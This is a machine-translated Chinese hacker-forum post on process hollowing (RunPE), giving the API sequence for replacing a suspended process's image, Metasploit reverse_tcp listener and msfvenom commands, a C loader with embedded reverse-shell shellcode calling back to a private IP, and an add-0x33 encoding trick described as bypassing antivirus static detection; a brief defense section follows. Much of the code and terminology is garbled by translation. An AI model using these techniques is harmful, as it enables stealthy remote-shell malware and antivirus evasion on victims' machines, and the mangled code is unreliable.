跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

傀儡进程的实现与检测


XenoG

推荐的帖子

0x00 前言

最近在安全动态推送中看到了一篇文章《RunPE: How to hide code behind a legit process》 ,介绍了将恶意代码注于已知进程的方法

文章发布于2015年6月,虽然作者未公布完整的实现代码,但介绍了实现思路

本文将结合自己的心得做进一步介绍,测试开源实现代码,介绍防御方法

文章地址:

https://www.adlice.com/runpe-hide-code-behind-legit-process/

0x01 简介

本文将要介绍以下内容:

实现原理

开源代码测试

优化思路

防御检测

0x02 实现原理

这个利用方法至少在2005以前就存在,国内常常把该方法称为"傀儡进程的创建"

实现思路:

通过创建流程创建进程,传入参数创建_暂停使进程挂起

通过NtUnmapViewOfSection清空新进程的内存数据

通过虚拟分配申请新的内存

通过WriteProcessMemory向内存写入有效载荷

通过SetThreadContext设置入口点

通过ResumeThread唤醒进程,执行有效载荷

在具体实现上,还需要考虑以下问题:

1、傀儡进程的选择

如果傀儡进程已经运行,那么将无法实现替换(指针不可控、无法获得主线程句柄等)

所以这种利用方法只能通过创建新进程,传入参数创建_暂停使进程挂起,在进程执行前对其替换

2、清空新进程的内存数据

进程初始化后,内存会加载映像文件,为了清空新进程的内存数据,可以使用函数NtUnmapViewOfSection卸载映像

函数NtUnmapViewOfSection需要从ntdll.dll获得,调用代码如下:

FARPROC fpNtUnmapViewOfSection=GetProcAddress(hNTDLL,' NtUnmapViewOfSection ');

_ NtUnmapViewOfSection NtUnmapViewOfSection=(_ NtUnmapViewOfSection)fpNtUnmapViewOfSection;

DWORD dw result=NtUnmapViewOfSection(pProcessInfo-h process,pPEB-imagebase address);

注:

NtUnmapViewOfSection还能用来结束进程

3、申请新的内存

使用虚拟分配函数时,可以将傀儡进程的ImageBaseAddress作为申请空间的首地址,这样可以避免考虑"重定位"的问题

4、写入payload

写入时,需要先比较有效载荷和傀儡进程的ImageBaseAddress之间的偏移,如果存在偏移,需要进行重定位(使用100 . reloc区段)

5、恢复环境

替换前后需要保证寄存器正常,所以仅需要修改进程的入口点(即EAX寄存器)

通过GetThreadContext获得所有寄存器的信息(保存在结构体_上下文中)

_上下文的定义位于winnt.h,具体内容如下:

typedef struct _CONTEXT {

//

//此标志中的标志值控制

//一个上下文记录。

//

//如果上下文记录用作输入参数,则

//对于由标志控制的上下文记录的每个部分

//其值已设置,则假定

//上下文记录包含有效的上下文。如果上下文记录

//被用来修改线程上下文,那么只有它

//部分线程上下文将被修改。

//

//如果上下文记录用作要捕获的输入输出参数

//线程的上下文,那么只有线程的那些部分

//返回设置标志对应的上下文。

//

//上下文记录从不用作仅限外出参数。

//

DWORD上下文标志

//

//如果上下文_调试_寄存器为,则指定/返回此部分

//在上下文标志中设置。注意,上下文调试寄存器不是

//包含在上下文_完整中。

//

双字Dr0

双字Dr1

双字Dr2

DWORD Dr3

双字Dr6

DWORD Dr7

//

//如果

//ContextFlags字包含标志上下文浮点型.

//

浮动_保存_区域浮动

//

//如果

//ContextFlags字包含标志上下文_段.

//

德沃德塞格斯;

DWORD SegFs

德沃德塞吉斯;

双字段

//

//如果

//ContextFlags字包含标志上下文_整数.

//

DWORD Edi

DWORD Esi

DWORD Ebx

DWORD Edx

DWORD Ecx

DWORD Eax

//

//如果

//ContextFlags字包含标志上下文控制.

//

DWORD Ebp

DWORD Eip

DWORD SegCs//必须清理

DWORD EFlags//必须清理

DWORD Esp

DWORD SegSs

//

//如果上下文标志字,则指定/返回此部分

//包含标志上下文_扩展_寄存器.

//格式和上下文是处理器特定的

//

字节扩展注册表[最大_支持_扩展];

}上下文;

将寄存器EAX的值设置为起始地址,代码如下:

p context-Eax=(DWORD)pPEB-image基址pSourceHeaders-可选标头.AddressOfEntryPoint

接着利用SetThreadContext写入,修改入口点

通过ResumeThread唤醒进程,即可执行有效载荷

0x03 开源代码测试

实现傀儡进程的公开代码有很多,这里给出一个参考地址:

http://code.google.com/p/process-hollowing/downloads/list

该工程的说明文档地址:

http://www.autosectools.com/process-hollowing.pdf

测试如下图

3-1.png

如果需要查看内存数据,可以使用https://www.adlice.com/runpe-hide-code-behind-legit-process/中使用的工具:流程黑客

参照上图的输出数据,图像库为0x00B90000

查看新进程0x00B90000的数据,已经被成功替换为有效载荷

如下图

3-2.png

继续下面的测试,参照源代码,修改有效载荷为执行外壳代码格式的水表读数器

服务器:

使用漏洞利用/多重/处理程序

设置有效负载窗口/meterpreter/reverse_tcp

设置LHOST 192

设置LPORT 4444

剥削

客户端:

MSF毒液-p视窗/米preter/reverse _ TCP LHOST=192。168 .81 .192 LPORT=4444-f c

或者

使用windows/shell/reverse_tcp

设置LHOST 192

生成-温度系数

选择第一阶段(281字节)即可

生成外壳代码后,HelloWorld工程实现执行外壳代码功能的源代码如下:

#包括

int WINAPI WinMain(h instance h instance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)

{

无符号字符外壳代码1[]=

\ xfc \ xe8 \ x82 \ x00 \ x00 \ x00 \ X60 \ x89 \ xe5 \ x31 \ xc0 \ x64 \ x8b \ x50 \ x30 '

\ x8b \ x52 \ x0c \ x8b \ x52 \ x14 \ x8b \ x72 \ x28 \ x0f \ xb7 \ x4a \ x26 \ x31 \ xff '

\ xac \ x3c \ x61 \ x7c \ x02 \ x2c \ x20 \ xc1 \ xcf \ x0d \ x01 \ xc7 \ xe2 \ xf2 \ x52 '

\ x57 \ x8b \ x52 \ X10 \ x8b \ x4a \ x3c \ x8b \ x4c \ X11 \ x78 \ xe3 \ x48 \ x01 \ xd1 '

\ x51 \ x8b \ x59 \ x20 \ x01 \ xd3 \ x8b \ x49 \ x18 \ xe3 \ x3a \ x49 \ x8b \ x34 \ x8b '

\ x01 \ xd6 \ x31 \ xff \ xac \ xc1 \ xcf \ x0d \ x01 \ xc7 \ x38 \ xe0 \ x75 \ xf6 \ x03 '

\ x7d \ xf8 \ x3b \ x7d \ x24 \ x75 \ xe4 \ x58 \ x8b \ x58 \ x24 \ x01 \ xd3 \ x66 \ x8b '

\ x0c \ x4b \ x8b \ x58 \ x1c \ x01 \ xd3 \ x8b \ x04 \ x8b \ x01 \ xd0 \ x89 \ x44 \ x24 '

\ x24 \ x5b \ x5b \ x61 \ x59 \ x5a \ x51 \ xff \ xe0 \ x5f \ x5f \ x5a \ x8b \ x12 \ xeb '

\ x8d \ x5d \ x68 \ x33 \ x32 \ x00 \ x00 \ x68 \ x77 \ x73 \ x32 \ x5f \ x54 \ x68 \ x4c '

\ x77 \ x26 \ x07 \ xff \ xd5 \ xb8 \ x90 \ x01 \ x00 \ x00 \ x29 \ xc4 \ x54 \ x50 \ x68 '

\ x29 \ X80 \ x6b \ x00 \ xff \ xd5 \ x6a \ x0a \ x68 \ xc0 \ xa8 \ x51 \ xc0 \ x68 \ x02 '

\ x00 \ X11 \ x5c \ x89 \ xe6 \ x50 \ x50 \ x50 \ x40 \ x50 \ x40 \ x50 \ x68 \ xea '

\ x0f \ xdf \ xe0 \ xff \ xd5 \ x97 \ x6a \ X10 \ x56 \ x57 \ x68 \ x99 \ xa5 \ x74 \ x61 '

\ xff \ xd5 \ x85 \ xc0 \ x74 \ x0c \ xff \ x4e \ x08 \ x75 \ xec \ x68 \ xf0 \ xb5 \ xa2 '

\ x56 \ xff \ xd5 \ x6a \ x00 \ x6a \ x04 \ x56 \ x57 \ x68 \ x02 \ xd9 \ xc8 \ x5f \ xff '

\ xd5 \ x8b \ x36 \ x6a \ x40 \ x68 \ x00 \ X10 \ x00 \ x56 \ x6a \ x00 \ x68 \ x58 '

\ xa4 \ x53 \ xe5 \ xff \ xd5 \ x93 \ x53 \ x6a \ x00 \ x56 \ x53 \ x57 \ x68 \ x02 \ xd9 '

\ xc8 \ x5f \ xff \ xd5 \ x01 \ xc3 \ x29 \ xc6 \ x75 \ xee \ xc3 ';

typedef void(_ _ stdcall * CODE)();

PVOID p=NULL

if ((p=VirtualAlloc(NULL,sizeof(shellcode1),MEM _提交MEM保留,页面_执行_读写))==NULL)

MessageBoxA(NULL,' error ',' VirtualAlloc ',MB _ OK);

如果(!(memcpy(p,外壳代码1、sizeof(外壳代码1)))

MessageBoxA(NULL,' error ',' memcpy ',MB _ OK);

CODE CODE=(CODE)p;

code();

返回0;

}

执行ProcessHollowing.exe,加载HelloWorld.exe,弹回壳,如下图

3-3.png

由于使用了Meterpreter,HelloWorld.exe会被杀毒软件静态查杀,这里做一个简单的加解密即可绕过

对HelloWorld.exe逐字符作0x33加,源代码如下:

#包括

char * source path=' c:\ \ 1 \ \ hello world。exe ';

char * des path=' c:\ \ 1 \ \ test \ \ hello world . exe ';

int _tmain(int argc,_TCHAR* argv[])

{

HANDLE hFile=CreateFileA

SoucePath,

GENERIC_READ

0,

0,

OPEN_ALWAYS

0,

0

);

if (hFile==INVALID_HANDLE_VALUE)

{

printf('打开文件错误\ n ');

返回0;

}

DWORD dwSize=GetFileSize(hFile,0);

PBYTE pBuffer=新字节[dw size];

DWORD dwbytes read=0;

ReadFile(hFile,pBuffer,dwSize,dwBytesRead,0);

PBYTE pBuffer2=新字节[dwSize];

PBYTE pBuffer3=新字节[dwSize];

for(DWORD I=0;我

输出新的加密文件HelloWorld.exe不会被静态杀死。

在ProcessHollowing项目中添加一个解密操作,一个字符减去0x33个字符。关键代码如下:

DWORD dwSize=GetFileSize(hFile,0);

PBYTE pBuffer=新字节[dw size];

PBYTE pBuffer2=新字节[dwSize];

DWORD dwbytes read=0;

ReadFile(hFile,pBuffer2,dwSize,dwBytesRead,0);

for(DWORD I=0;我

至此,静杀的旁路完成。

注:

对于ProcessHollowing.exe的行为拦截的规避,本文就不做介绍了。

0x04 防御检测

这种傀儡流程的使用具有很强的欺骗性,因为正常流程是最初创建的。

例如,创建一个傀儡进程calc.exe,该进程的图标和描述是正常的calc.exe,数字签名也是正常的。

如下图

4-1.png

防御方法:

用杀毒软件拦截SetThreadContext函数。

参考原文中给出的建议,用RogueKiller比较本地和内存PE文件是否有区别。

RogueKiller下载地址:

https://www.adlice.com/download/roguekiller/

查看下图

4-2.png

0x05 小结

从技术研究的角度,介绍了“傀儡进程”的实现原理,测试了开源代码,给出了防御检测的方法。虽然是很老的技术,但是技术细节还是很值得掌握的。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...